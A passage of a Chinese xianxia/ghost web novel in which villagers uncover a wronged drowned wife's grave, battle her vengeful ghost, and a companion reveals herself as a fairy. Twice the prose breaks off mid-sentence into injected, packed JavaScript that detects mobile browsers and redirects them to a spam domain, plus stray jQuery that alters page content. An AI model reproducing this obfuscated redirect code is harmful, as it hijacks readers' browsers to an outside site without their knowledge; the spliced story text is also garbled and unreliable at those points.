村志记载,那术士还说,村里的石榴树是榴花仙子来报恩幻化而成的,村子里有位先祖在数百年前曾施恩于一棵石榴树。
后石榴树修炼成仙,感念那位先祖的救命之恩,就甘愿化为一树树只开花不结果的无子石榴树,用自己的道行与气运报答整个村子三十年。
三十年时间一到,村里的石榴树就会尽数消失,因此村里的人,也仅有三十年的鸿运可走。
据说此事当年甚至还传到了京城那头,不少京城人士不远千里舟车劳顿赶过来,只为沾一沾我们这个村的好气运。
还有位皇亲国戚的遗孀死活要把她老公埋在我们村,当时的榴花村村长本是不愿答应的,但架不住人家给得多……
村长或许是想着,反正榴花村只有三十年的好气运,就算让他埋在咱们榴花村,也仅能保他的子孙后代三十年荣华富贵,安然无虞。
几十箱子金银财宝换三十年的土地使用权,村里人一合计,就全票答应了!
果不其然,三十年后村里的石榴树一夜之间全部死绝,那位皇亲国戚的子孙后代没几个月就被查出犯了通敌叛国大罪,被当时的皇帝下令满门抄斩。
至于皇亲国戚留在我们榴花村的棺材,二十年前村里要挖水塘养殖鱼虾,挖着挖着就不小心把他的棺材板给挖出来了……
那会子我还跟在我爸身后去看过热闹,亲眼目睹那原本保养得当,**百年都未腐烂的尸身在阳光下空气里迅速干瘪下去。
皮肉化为灰烬,半个小时不到,棺材里就只剩下一具骇人的白骨了!而他棺里的陪葬品更是种类繁多价值连城,珍珠翡翠,玉石黄金,装了整整半副棺材——”
潮生哥兴致勃勃地给我们讲着榴花村的历史与古怪往事。
银杏贪财的追问:
“那些陪葬品最后都被你们村的人平分了吗?我怎么没能早点认识你,这样说不定我当年也能过来凑个热闹,分点金银珠宝珍珠翡翠……哎,我就这么错过了一个可以发财的机会,悔啊!”
潮生哥摇头叹道:
“那些陪葬品是被村里人私下分了,连我家都趁机私藏了不少金银玉器。但你看,村里的人,现在不照样穷得叮当响么?发财,哪有那么容易!”
“你不是说那棺材里的陪葬品样样价值连城吗?既然东西落到你们手里了,你们随便拿出去一样卖掉,都能换回来好多钱吧!你别告诉我,榴花村的这群人打算把那些陪葬品当传家宝传下去……”银杏疑惑问道。
李大叔吸了口**,吐出雾卷,轻笑一声帮潮生哥解释:
“你以为古人的墓,是能随便挖的?国家可是有法律明文规定,凡超过两百年的古墓,普通老百姓都是无权私自做主挖坟开棺的。
即便是不小心破坏了古墓,也要第一时间通知有关部门来现场进行古尸保护。
至于古人棺椁里的陪葬品,那更不能随便动了,那是文物,属国家财产,需要上交的,哪怕你私藏一两样,也只能砸在手里,不能拿出来。
一旦被发现,你就是非法盗墓偷窃文物,会牢底坐穿的!”
潮生哥点点头,
“老师说得对,那些陪葬品现在还真就只能当做传家宝往下传了,一旦出现在市面,不识货的买家会怀疑东西的真假,舍不得出钱。
而懂行的买家,一眼就能看出这是**,很容易吃不到羊肉还惹一身膻的!
据我所知,村里只有几户人家在着急用钱的时候拿东西去外面卖过,但价钱、都很难评。
有一只和田白玉雕刻的玉狮子,村里孙大伯摆地摊售卖时害怕被人盯上,谎称是现代产物,最终只卖了五万块钱。
那些东西,卖不了几个钱还风险大,所以村里人宁肯砸手里当传家宝,也不愿意再大费周章瞎折腾。”
“那好吧。”银杏失望低头,“不过那些都是货真价实的好东西,当传家宝也挺不错!就当是,给子孙后代留一笔隐形财富了,万一哪天有人愿意花大价钱回收呢。”
“我爸也是这么想的,我爸说,还是有部分人对这些物件比较感兴趣的,只是没被我们遇上。”
李大叔抽着**摇头道:“陪葬品,终究还是阴气太重,压得住还好,压不住就……”
后面的话,李大叔没有明说。
潮生哥识趣地换了个话题:“老师,咱们不是出来找孕中煞老巢的吗?怎么要去林家祖坟,难道那个孕中煞和林家有关?”
李大叔挑眉卖关子:“到地方就知道了!”
潮生哥嗯了声,留意到跟在他们身后的我,脸上有了笑意:“镜镜,你累不累?”
我闻言愣了下,摇头:“不累呀!”
潮生哥张了张嘴,还要和我说话,却被青漓那刀子般冰冷锋利的眼神给吓得默默把话噎了回去……
“镜镜跟着我们出来,你怎么也阴魂不散,我们三个难不成连一个镜镜都保护不好么!”潮生哥不服气地抱怨。
青漓冷漠瞥他一眼,没搭理他。
只是朝我伸出一只手,示意我过去。
我赶紧乖乖回到他身边,牵住他的指尖,陪他一起慢悠悠地散步。
潮生哥见状略有不爽,像是存心要与青漓争个高低,弓起胳膊,喊了我一声:“镜镜,来!潮生哥陪你一起走。”
用眼神示意我挽上去……
我看了看骄傲抬起下颌的潮生哥,又回头瞧了眼脸色阴沉的青漓,果断摇头:“不去,阿漓会生气的。”
潮生哥呛咳一声,心有不甘:“镜镜,你想来就来,没必要看任何人的脸色行事!你放心,有潮生哥保护你,谁敢欺负你,只要你一句话,潮生哥就敢和他拼命!”
我努了努嘴,还是没如他所愿:“那我不想过去……我想和阿漓在一起,潮生哥你太吵了,你的话,好多我都记不住听不懂。”
潮生哥的脸,瞬间垮了下来:“……”
李大叔拿着烟杆双手背后,没忍住噗嗤笑了声,残忍破解真相:“镜镜现在喜静,嫌你话多呢!”
“啊?”潮生哥脸上的表情更失落了。
银杏怕潮生哥尴尬,不好意思地咳了咳,把自己胳膊挎在了潮生哥臂弯上:“那个,生哥,我和你一起走。”
潮生哥重重叹气,不死心地扭头看我,“真不过来?”
我被他问得烦:“不过去,你可以和银杏一起走。”
潮生哥也不晓得是哪条筋抽了,想也没想就说:“你来,我就陪你,不要银杏了!”
说着,还把自己的胳膊从银杏怀里用力抽了出来……
银杏看着自己搂空的怀抱,愣了一下。
不知为什么,听见他说出这句话,我心里顿时燃起一把无名火。
挽住青漓的胳膊,我昂头一本正经地和青漓说:“他说话我不爱听,要不然你还是把他舌头拔了吧。”
青漓:“……”
潮生哥:“……”
可能是害怕青漓真薅他舌头,潮生哥转头又去找银杏:“银杏妹妹,还是我俩一起走吧……”
银杏委屈地看了他一眼,没说话。
他还蠢兮兮地撵着银杏追问:“银杏妹妹,你怎么了?干嘛突然不理我啊?”
银杏好脾气的咬唇,小声嘟囔:“没怎么,就是不想说话。”
“哦,那就别说了吧,你平时话那么多,的确难得安静一回。”
银杏眼眶一红,更憋屈了。
李大叔扭头用余光扫了眼身后的我们,深深叹了口长气。
——
林家祖坟位于村子的最西边,整整一大块农田都被林家用来埋棺了。
祖坟四面被稻田包围,一座座高大的坟茔前,耸立着排排灰白厚重的石碑。
李大叔带我们在坟茔堆里七拐八拐,拐到坟摊尽头的一个小角落,在一座没有立碑的矮小坟包前停了步子。
拿着烟杆指向长满荒草、多年无人祭扫的矮坟茔,问潮生哥:“你可记得,这是谁的坟?”
潮生哥怔了怔,昂头惊讶地回答李大叔:
“我记得这是林家媳妇的坟!是当年那个产下鬼胎坏了村子风水,害村子遭了三年大旱的不幸之人的坟!老师,你带我们来这里,不会是因为那个孕中煞……就是她吧!”
李大叔没有回复他这个问题,双手背后吩咐道:“旁边有工具,挖!”
我牵着青漓的手,喃喃反问:“挖坟吗?”
潮生哥往旁边的草地里找了一圈,还真找到了一只铁锹。
铁锹插入坟包内,挖开一锹土。
潮生哥魂不守舍的挖着,没过多久,又忍不住停下手上动作追问:“老师,祸害何叔一家的女鬼真是这个扫把星吗?她这是在做什么,报复当年村民们把她浸猪笼沉塘?”
李大叔闻言,不悦的拿烟杆敲他脑袋,凝声纠正道:“别这么称呼她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561336|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!什么扫把星,都是别人往她身上泼的脏水!她只是个失去孩子的无辜普通女人!”
“可,我爸他们都说,是因为这个女人坏了村里风水,才导致村子至今仍处处不顺,气运受阻……”
李大叔背着手冷哼一声:“榴花村处处不顺气运受阻,都是你们村那些男人女人自己作的!”
潮生哥不解地问:“老师,你这话是什么意思?当年林家媳妇不是产下了一个鬼婴吗?和小红现在的情况一样!”
李大叔没好气地摇摇头:“什么鬼婴……那只是个刚出生就面带胎记的普通孩子!”
潮生哥皱眉:“胎记?”
李大叔边挥手催促潮生哥快些挖坟,边讲出三十年前的残酷真相:
“林家媳妇当年那一胎怀了十一个月还生不下来,村里人就怀疑,林家媳妇肚子里的孩子不是林家老大的!
很快,村子里就流言四起,林家老太听见这些谣言后,也不禁开始怀疑儿媳妇肚子里揣着的究竟是不是自家的种。
林家老太还去找了当初给儿媳妇把出喜脉的老中医,再三向老先生确认了儿媳腹中孩子的真实月份,回去一核对,发现的确是自家儿子的种无疑。
虽然证实了儿媳妇的清白,可村里的风言风语还是让林家老太觉得面上无光、丢人,对怀孕的儿媳妇,自然也就不如从前了。
林家媳妇怀胎到第十二个月,胎儿才在母体发动。林家三口欢欢喜喜地找产婆给儿媳接生,但由于胎儿在母体内胎位不正,所以林家媳妇生了一天一夜才将孩子生下来……
可惜,那孩子一生下地脸上就有块特别大的黑色胎记,瞧着,确实像鬼婴。
林家老两口一辈子好面子,害怕自家孙子脸上有难看胎记的消息传出去会遭左邻右舍笑话,于是就狠心将刚出生的小孙子用手捂死在了襁褓里,然后对外谎称儿媳妇生了个鬼胎。
他们本打算等儿媳妇出了月子养好身子,让儿子和儿媳妇趁早再要一胎,但却从产婆的口中得知,儿媳妇生产时下体撕裂,伤了胎宫,以后可能很难再怀上孩子了。
林家老两口只有一儿一女,林家老大就是他们传承林家香火唯一的希望,他们自然不愿意让一个伤了身子的儿媳妇继续留在家里耽搁自己儿子的一辈子了。
但他们,又死要面子,林家媳妇是外乡人,林家媳妇爹对他们老林家有过大恩,当初两家结亲时,林家向儿媳妇重病的爹发过誓,说他们林家一定会把儿媳妇当亲女儿对待,好好照顾儿媳妇一辈子。
若是他们只因为儿媳妇不能生就要休弃儿媳,他们担心外人知道了会戳他们脊梁骨,而且林家媳妇的亲爹妈已经没了,就算休了林家媳妇,林家媳妇也无处可去,他们更怕林家媳妇对他们死缠烂打。
所以,他们就想到了一个歹毒的办法,他们以儿媳妇生下鬼胎坏了村子风水为由,喊人将儿媳浸猪笼,沉了糖。那可怜的一对母子,就这样死在了脏心烂肺的林氏一家手里!”
“鬼胎,从头到尾都是一个精心设计的谎言。”
银杏惋惜道:
“好好的两条人命,就因为林家人的一己之私,被赋予迷信的色彩,遭人光明正大的**,无辜惨死。什么产下鬼胎就会坏了村子里的风水,是坏了他们林家的好事才对!”
潮生哥还是不太敢相信:
“那,如果不是她坏了村子里的风水,榴花村后来的三年大旱怎么解释,林家老两口和她丈夫死得莫名其妙,又怎么解释?”
李大叔无奈地抽口浓烟,白雾从鼻孔里窜出来:
“你去查查月阴村清河村的村志,上面会给你确切的答案!你以为那三年天灾,只有榴花村一个村子遭殃吗?
那三年,我们半个省都旱得厉害,两个月难见一场雨,方圆几千里,井里水都熬干了!
还有林家老两口与林家老大也不是莫名其妙死的,林家老两口是开拖拉机去街上卖稻子,拖拉机侧翻砸死的!
林家老大是染上了脏病,受不了病痛折磨自己服毒**的。你们村的人给他敛尸入葬的时候,他身上那些红疹子都烂掉生蛆了!”
“真相竟然是这样的……”潮生哥不可思议地后退了两步。
银杏低头:
“你们村这些人的可怕之处远远不止这一点,你一定猜不到,三十年前林家媳妇被浸猪笼沉塘,你们整个榴花村的老一辈都猜出了实情,但去却没一个愿意站出来阻止这场荒唐的**!
他们所有人,都是害死林家媳妇的帮凶,打着迷信的幌子,干尽伤天害理的恶事!
更恐怖的是,三十年后,她们还妄想用同样的方法,杀死小红……
就因为小红不能生,就因为小红的老公是何家的独苗苗,就因为只有小红**,何家那个独苗苗才能另娶她人传宗接代……”
潮生哥连吞了两口口水,面前的坟也挖得差不多了,用铁锹铲去埋得极浅的棺木上的碎泥土,坟茔下腐烂陈旧的棺木成功暴露于人眼前——
“那孕中煞……”
李大叔抬手凭空于指尖化出一张绘着朱红符文的黄符,蹲下身,把黄符贴在林家媳妇腐烂的棺头。
念诀下咒,黄符上红光熠熠。
“孕中煞,就是当年林家媳妇的冤魂,之所以缠上小红,是因为小红的婆婆,就是当年林家老两口的小女儿,她丈夫的亲妹妹,她的小姑子……她这次,是来斩草除根的!”
我还没捋顺林家与何家,还有孕中煞三者之间的关系……
再回神,面前就蓦然掀起一阵黄沙飓风——
风里有荒草叶子化作锋利刀刃,齐刷刷地朝我们射过来。
“镜镜当心!”银杏慌张提醒我,拔腿跑向我,从腰间挎包里拿出一张黄符……
来不及念诀保护我,大惊失色的潮生哥就一掌劈向银杏肩头——
“镜镜妹妹,快躲开!”
而下一秒,银杏就被他推扑进我怀里,两枚锋利草刃瞬间刺穿银杏的肩胛骨。
银杏趴在我肩上,痛得顿时闷哭出声……
我震惊昂头看宋潮生——
他这是,故意把银杏推过来,给我当肉盾!
第42章 短短半天,四个人掉了马甲……
“杏杏……”我搂着负伤的银杏,愧疚地放轻嗓音。
李大叔分神扭头看了我怀里的银杏一眼,着急吩咐:“小鸾镜,带杏子找个地方躲起来!”
“好。”我扶着身上见血的银杏赶紧逃离战场,青漓睨了眼正手捏黄符念诀施法的宋潮生,蹙眉沉沉骂了句:“只会欺负女人的废物!”
然我拖着受伤的银杏还没跑远,眼前的荒草地与块块青翠农田就陡然化成了一片青黑平地,阳光被黑暗吞噬,四处萦飞着猩红的萤火虫——
像是闯进了另一个森冷恐怖的世界……
野草化成的刀刃一瞬间又重新变回了柔软的嫩叶,簌簌落地。
李大叔与宋潮生合力用黄符凝成一个结界,罩在我们四人头顶——
我见跑不掉了,便扶着银杏停下来,扭头担忧问她:“杏杏,你疼不疼?还能撑住吗?”
银杏用手捂着肩头的伤,灼目鲜血自她指缝间溢出来,条条血痕淋漓织满她整个手背。
“我没事镜镜……你别看、会吓着你……我们走不掉了,你快去龙仙大人身边,他的身后最安全!”银杏把我推向青漓,我执拗地抓紧她胳膊不肯走:“不!我要和你在一起!你都受伤了,我不能抛下你不管!”
银杏痛苦皱眉,齿尖将下唇咬出鲜血,无奈吐槽:“大爷的,这伤口怎么那么疼!镜镜你别担心我,我能自保,只要你安全,我就放心了!”
我还是死活不肯离开她,挽着她胳膊坚持道:“我不走!你受伤了,应该换我保护你!”
“镜镜……”银杏拿我没办法地拧紧眉心干着急。
青漓赶过来,抬指在她肩头重重一点,她痛得哽咽一声,一滴泪滑下眼角,砸碎在我的手臂上……
“那些暗器沾了尸毒,打穿你的身体,自然会特别疼。”
青漓优雅收手,淡淡道:
“本尊已经把你体内的尸毒化解掉了,还点了你止血穴位,你且忍一忍,回去后记住用雄黄酒浇洗伤口消毒,这样才能彻底洗净伤口内的阴气余毒,避免伤口化脓溃烂。”
“暗器上有尸毒?!”银杏错愕道:“这么狠的吗?”
捂在肩上的手拿开,被打穿的肩膀总算没再溢血了,银杏猛松一口气,默默夸了青漓一句:“龙仙老爷,你真是一条大好龙啊!”
青漓板着脸嫌弃瞥她一眼。
我挽着银杏,环视四面阴黑的环境,只见这片偌大的天地里,除了一闪一闪飞的悠然自得的萤火虫,与不知从哪飘出来的轻盈灰烬,就只剩下一座孤零零的矮坟。
那坟,是林家媳妇的!
天边倏然飘来几缕红烟,红烟飞至李大叔与宋潮生跟前,下一秒就凝出了当初蛊惑小红杀何大叔老婆的红衣女人、鬼身影……
“呦,我当是谁,原来是****的小师弟,当年叱咤一方的玉面仙君啊!”
红衣女鬼身上披着一件大红薄纱性感交领古代长衣,宽大的袖子在阴风里翩翩摇曳,交领衣襟松垮地挂在雪白肩头上,交叠的下端堪堪能遮住雪白的胸脯。
阴风袭起她的大红裙摆,露出两条笔直细长的美人腿。
整个魂魄虚浮在半空,身后乌黑如水的长发被风缕缕扬起,投在地上的影子,像极了脑袋后长了只招摇舞动的鬼爪——
“玉面仙君……”银杏不解地喃喃重复,问青漓:“说谁呢?难道是生哥?生哥什么时候多出了一个这么好听的外号了?”
青漓单手负在身后,长身玉立,如松如柏,冷眼盯着李大叔的背影:“玉面仙君,原来是他。”
宋潮生不解反问:“什么玉面仙君金面仙君的……妖孽,拿命来!”
说罢要对红衣女鬼出手,却被李大叔及时攥住胳膊制止了下来。
红衣女鬼闻言却猖獗地哈哈大笑起来:“杀我?不自量力!”
宋潮生不服气地猛挣扎两下,李大叔控制着宋潮生,拧眉沉声低斥:“你不是她的对手,现在过去,就是找死!”
宋潮生这才老实僵住,不解的看向李大叔:“老师……”
红衣女鬼媚眼如丝地挑眉注视李大叔,身子轻盈地飘在风里,姿容妖娆,轻摆细腰,居高临下的垂眼不屑扫视宋潮生:
“他是你的徒弟?天资平平,浑身上下,毫无出众之处!你收他为徒,还不如让你的女儿继承你的衣钵呢!”
李大叔冷哼一声:“废话少说,今天,我是来和你谈判的!”
“谈判?”红衣女鬼似听见了一个惊天大笑话,没忍住昂头狂笑起来:“没想到,还有你玉面仙君,亲自来找我谈判的时候。”
轻盈妖娆的魂体化成一缕烟,瞬移出现在李大叔背后,纤纤玉指搭在李大叔的肩头,红衣女鬼不顾形象的妩媚冲李大叔耳根吹口阴气,红烟扫过李大叔的脖颈,暧昧钻进李大叔衣领——
“仙君啊,遥想当年,你我初见,你还是仗剑走阴阳,路见不平就会拔刀相助的潇洒风流男儿郎,意气风发,英姿飒爽——”
纤长玉指轻抚李大叔的脸庞,指腹摩挲着李大叔脸上见青的胡须,红衣女鬼眼底升起一缕惋惜之色:
“看看,现在呢。满脸胡茬,目光浑浊,容颜苍老,连修为都散去了大半。可惜啊……”
腰身灵活一旋,红衣女鬼飞回半空中,摇头啧啧感叹:
“二十五年前,扶云山下,是你从厉鬼的手里救下了我。是你分给我一口仙气,让我有了凝聚神魂苟延残喘下来的机会……
我永远也忘不了,那天,你立在桑树下,朝我伸来一只手,拽我起身。仙君你和我说,这世上没有任何仇,能大得过自己的一条小命。
想报仇,得先强大,先掌控命运,而不是被命运**。你说的这些话,我一直铭记于心。
所以自那以后,我就有了目标,我要变得,像仙君一样厉害,能任性将任何妖魔鬼怪踩在脚下!我找了处洞穴,辛苦努力修炼了整整二十五年!
仙君你知道吗,我修炼有成后的第一件事,就是去找你道谢报恩。若不是你当年的相救与开导,我也不可能成为一地鬼族之王!
可,我去天行山找你,我以为你会在五阳观内,谁知当地的鬼灵却告诉我,五阳观有五位道长,最年轻的道长,号青阳道君,而不是玉面仙君。
我四处打探您的下落,找了您整整一年,后才在一棵槐树精的口中得知,你二十年前就已经离开了天行山。
他们说你道心崩溃,说你入了魔,说你修为散尽成了废人,说你是害死玲珑仙一家的凶手……”
“住口!不要再说了!”李大叔红着眼眶愤怒呵斥。
红衣女鬼满眼怜惜地停顿住,又说:“仙君,我知道您是清白的,当**,你也是受害者,若不然,你怎么会收养他们的遗……”
“我让你闭嘴!”李大叔气急败坏的一烟杆朝女鬼挥去,强大的灵力顷刻将女鬼拦腰斩成两段……
女鬼愣了愣,片刻后,女鬼被斩断的腰身又自行愈合,恢复如初。
嗤笑一声,女鬼无奈道:
“罢了,谁让你对我有恩呢……小玉只是在想,这世间万事,当真造化弄人。
二十五年前,你玉面仙君想让那些冤魂厉鬼做些什么,直接下令便是,可从不会,和他们谈判。
这二十五年来,究竟是您堕落了,还是小玉变强大了呢……今日你我的实力,与二十五年前的你我,正好对调。
这一次,是我站在高处,你在地面仰望着我……”
“你若真想报恩,就放过何家小红!”李大叔冷着脸道。
女鬼弯唇嗤笑:“要用何种方式报恩,取决于我,而不在你。”
“小红是无辜的!”
“我当然知道小红是无辜的,可那与你又有什么关系?”
“路见不平,自要出面!”
女鬼轻笑出声:
“仙君啊仙君,您还真是,性子没变。我还以为您遭受那样大的打击,早就道心崩溃,不愿再问世事了呢。是,小红没有错,不该遭受这种无妄之灾。
但……我就是要让榴花村**,就是要让这个村子的所有人,为当年的错误选择买单!我现在已经变强大了,我可以报仇了。”
李大叔耐心劝道:“都已经过去三十年了,当初抬你沉塘的人,大多都已经去世了。你何苦这般执着,揪着过往不放呢!”
“我揪着过往不放?三十年了,我仍旧一身污名!”
女鬼情绪激动地抬手指着自己心脏,声声泣血控诉:
“她们为了洗白自己亲手造下的罪孽,就不停地给我施加罪名,当年的榴花村,每个人,都知道我是清白的!
但他们选择站在林家那两个老东西身后,选择舍弃我这个外乡人!他们每一个,都是林家那两老畜生的帮凶!
是啊,都已经过了三十年了,生鬼胎,坏风水,要将不幸之人沉塘的悲剧又重新在小红身上上演了,你不觉得,这个村子的人,早已无药可救了吗?
他们贪婪自私,他们黑了心肝!不给他们点教训尝尝,他们根本不会意识到自己的错误,他们只会觉得这是最正确稳妥的办法,只会觉得庆幸!
以后,但凡村里有媳妇无法怀孕,或是生出的孩子不如他们心意,不能为他们传宗接代,他们都可以打着鬼胎坏风水的幌子,将孩子母亲沉塘!
既如此,我还不如让这个村子,彻底绝后……让他们,陷入绝望!”
“榴花村的人固然有错,可不该是你来评判是非,决定他们的生死。”
李大叔低声和她讲道理:“小玉,放下吧,去地府,来世挑个好人家,别再滞留阳界被仇恨蒙蔽双眼,继续犯错误了!”
“强大起来,将仇人踩在脚下,这不是仙君你当年教我的道理吗?”女鬼挑眉讥讽。
李大叔无奈道:“我当年和你说这些,只是为了让你坚强活下去!”
“我是活下来了,我还变得,比你更强大……道不同不相为谋,仙君您的恩情,小玉来日再报,今天您若执意阻止我报仇,可就别怪小玉翻脸无情,对你手下不留情了!”
红衣女鬼说完,猛地出手,瞬间无数条红绫从女鬼身后张牙舞爪射出来,直逼李大叔与宋潮生而去——
李大叔仓皇化出符纸施法抵抗,而菜狗宋潮生压根没挡住红衣女鬼一招,就被红衣女鬼打飞了过来……摔在我和银杏脚下。
“生哥。”银杏焦急要扶他,可我却记着他刚才推了银杏一把的仇,拽住银杏胳膊坚决不让银杏弯腰扶他。
银杏不解地扭头看我:“镜镜……”
我翻了个白眼:“死不了!”
青漓淡定牵住我的手,赞同道:“嗯,夫人说得对。”
对面的李大叔还在和红衣女鬼过招,红衣女鬼实在太能打了,红绸舞动间,无数殷红花瓣化作利刃无情划破李大叔的肩膀手背——
招式凌厉,每每出手都直逼要害。
李大叔被红衣女鬼一掌打退数步,银杏见状着急请教青漓:“龙仙老爷,我爸他对付这只厉鬼好像很吃力,我爸他不会有事吧!”
青漓冷冷瞥她一眼,耿直道:“会。”
银杏更急了,但也是一眨眼功夫,李大叔就被红衣女鬼一掌劈倒在地,狼狈捂着胸膛口吐鲜血了……
“爸!”银杏害怕惊叫,手忙脚乱地拉扯青漓袖子,含泪祈求青漓:“龙仙老爷你出手啊,救救我爸!”
青漓低眸,冷漠盯着她,从容道:“其实,你可以救你爸。”
银杏呆住:“啊?我怎么救啊!”
青漓面不改色地忽悠:“你闭上眼。”
银杏听话地照做,两眼一闭……
但下一瞬,青漓就一掌推在银杏背上,直接将银杏拍飞,送到李大叔跟前,给李大叔挡红衣女鬼的攻击了……
红衣女鬼恰好一掌红光没收住,震在了银杏心口上——
“杏砸!”李大叔脸色陡然苍白,万分惊恐地伸手接住了倒下的银杏……
银杏在他怀里含泪喊了两声疼,随即一口鲜血喷在了李大叔脸上……
“杏儿!”李大叔吼得撕心裂肺。
我见状眼眶一热,哇的一声就冲青漓哭了起来:“你干嘛呢!你怎么也拿银杏当肉盾!你坏**,我讨厌你!”
我用力挥舞拳头往他身上砸,他也不恼,耐心搂住胡乱挣扎的我,扮过我的肩,让我看银杏与李
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566972|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大叔:“阿鸾,别怕,你看清楚,银杏没事。”
我泪眼朦胧地怔住,揉了揉模糊的双眼,视线愈发清晰——
正对面倒在李大叔怀里的银杏……身上突然有金光笼罩!
无数金色的星星点点萦绕在银杏身畔,越聚越多……
不到五秒,那些金色星光就从银杏身边飞了出来,迅速落地化形,凭空变出一名身穿金色星光长裙,金丝披帛为袖,臂上佩戴金莲铃铛臂钏,腰间挂满珍珠流苏的漂亮女孩……
女孩一头乌黑云发挽成精致的飞仙髻,金线密织的发带飘在脑后,满头插着鲜花与金簪。
五官精致,样貌与我的银杏一般无二……眉心一朵金色莲花花钿,眼尾贴着三颗漂亮珍珠……
她是银杏,那躺在李大叔怀里的姑娘,又是谁?
抱着银杏的李大叔也怔愣失了声。
漂亮女孩甫一化形,便十分威严地冷斥红衣女鬼:“何方鬼怪,胆敢在本仙面前放肆!不要命了么!”
红衣姐姐还没有意识到问题的严重性,勾唇嚣张讥讽:“原来,你也是仙!”
悄然在手中化出血光宝剑,女鬼毫不畏惧道:“如今的我,就算是二十五年前的你爹也不是我的对手,既然你也想和我切磋切磋,那我就成全你!”
女鬼提剑就朝银杏迅速刺去,银杏站在原地没动,直到女鬼的宝剑要**她身体时,她才施法在手中化出一片清澈涟漪。
女鬼的长剑**她掌心凝出的水涟漪里,瞬间像是**了深海,长剑顷刻就被吞没进了那团无底深渊内——
要不是女鬼手松得快,女鬼自己也要被银杏吸进了手心。
见识到银杏的厉害后,女鬼挥起衣袖就朝银杏攻击过去,而银杏不费吹灰之力,就一阵金光震飞了女鬼……
“银杏妹妹……这是什么情况啊!”宋潮生揉着心口目瞪口呆。
我和青漓都没理他。
女鬼发觉自己打不过银杏,转头就要跑。
可还是迟了一步。
漂亮的银杏抬手化出两缕金光,金光如蛇,柔软地朝女鬼追去,没几秒就把女鬼五花大绑捆住拽了回来!
女鬼被银杏用力挥手丢在地上,惶恐地滚了两圈,拼了命的妄想挣开束缚。
可女鬼身上的金光,却越挣越紧……
“仙子饶命!放过我!我也是受害者,我也是被逼无奈才走上报仇这条路!”
女鬼惊惧地瘫坐在地,昂头泪眼盈盈地朝银杏求饶:
“都是他们榴花村先害的我!
仙子,您是仙,你慈悲为怀,更能慧眼辨是非,仙子,我有冤,这榴花村的人贪心不足自私自利,为了所谓的香火传承就能枉害性命。
仙子,不是说上天有好生之德吗?是他们先造的孽,就算受罚,也该先罚他们!”
漂亮女孩垂眼淡漠看她,轻飘飘地发话:
“同为女子,你的遭遇我很同情,但我父亲说得对,就算榴花村有罪,也不该你来决定他们的生死,上苍,自有评判。”
“上苍上苍上苍!每个人嘴里都是老天爷在上面看着,上苍会让他们付出代价,可我都等了三十年了!
这三十年来榴花村除了林家那两个老畜生和他们的儿子遭了报应以外,剩下的人哪个不是日子和和美美,一帆风顺!
当初是整个榴花村所有人害死的我,就算要还债,也该他们所有人都付出代价偿还我!”
“人在做天在看,不是不报,时辰未到,上苍自有安排。”
“那还要死多少个像我一样的女孩,老天爷才会降下报应?!”
“你害小红产下鬼胎精神失常,你要报复林家小姑子,却想利用小红替你**,想把小红也拽下地狱,你的行为,于小红而言,和当年那些明知你清白却助纣为虐帮林家扛你去沉塘的村民们,有何区别?”
红衣女鬼说不过银杏,摇头发疯:“我不管,我就是要让榴花村的所有人,给我陪葬——啊!”
没等她喊完,银杏就受不了地塞了一截红绸堵住女鬼的嘴,抬手施法,强行散去女鬼的修为——
女鬼痛苦不甘的瞪大血瞳朝银杏呜咽摇头,银杏平静道:
“今日我化去你三十载修为,你将沦为普通阴魂,随后我父亲会设法送你下地府,接受审判。
报仇固然痛快,可代价不是你能承受得住的,我同情你的遭遇,所以我不愿眼睁睁看你走向不归路。
女孩本就是这个世上最美好的存在,你本就是一朵艳丽且具有攻击性的玫瑰花,别让他人指尖的脏血,污了你的花色。
记住,举头三尺有神明,恶人,自有天收,他们不配,脏了你的轮回路。”
可能是被银杏的话打动了,女鬼后来,渐渐地不再挣扎了,只低着头默默呜咽落泪。
银杏掌中金光散去后,转身冲还在发愣的李大叔喊了句:“爹啊!收工!”
李大叔呛了声,尴尬放下怀里的那个银杏,“哦好。”
李大叔去帮忙善后,穿着漂亮裙子的银杏却回头直奔我而来……
“娘、镜镜!哎呀你傻掉的时候怎么能这么可爱呢!”
银杏还是从前的银杏,没心没肺地揉我双腮。
我被她揉得着急,拍掉她的手执着纠正:“我没傻!再说我是傻子,我咬你!”
银杏嬉皮笑脸地嘿嘿两声,壮着胆子抬手拍拍我的脑袋……
然后莫名其妙地发疯乱跳:“哎呀摸到啦!我摸到镜镜的头了!开心!”
我:“……”
讨厌的宋潮生又凑上来质疑:“你真是银杏吗?你这是什么打扮……奇装异服的。”
这个银杏好像不怎么喜欢宋潮生,傲娇扭过头:“哼!仙女的事,你少管!”
宋潮生噎住。
我拉着银杏的手,感觉她才像傻子。
只是,她好像没有发现,站在她身后的青漓,脸色很阴沉,目光凶凶的……
青漓冷着脸,蹙眉低眸审问她:“你到底,是谁?”
“我是……”
银杏得意转身,却在看见青漓正脸的那一刻,一口气卡嗓子里差点没上来——
“我的娘耶!帝帝帝帝、帝君,你怎么也下来了!”
第43章 难道帝君也是转世?!
青漓剑眉舒展,威仪发问:“你、认识本尊?”
“本、尊……”
银杏愣愣重复,之后又乖乖举起握住的双爪,卖萌装兔子,小声试探:
“帝君,您真的不认识我了?当年您……大婚、花轿、我!扛着轿子跑!您还说……要扒我的皮!您……全都不记得了?”
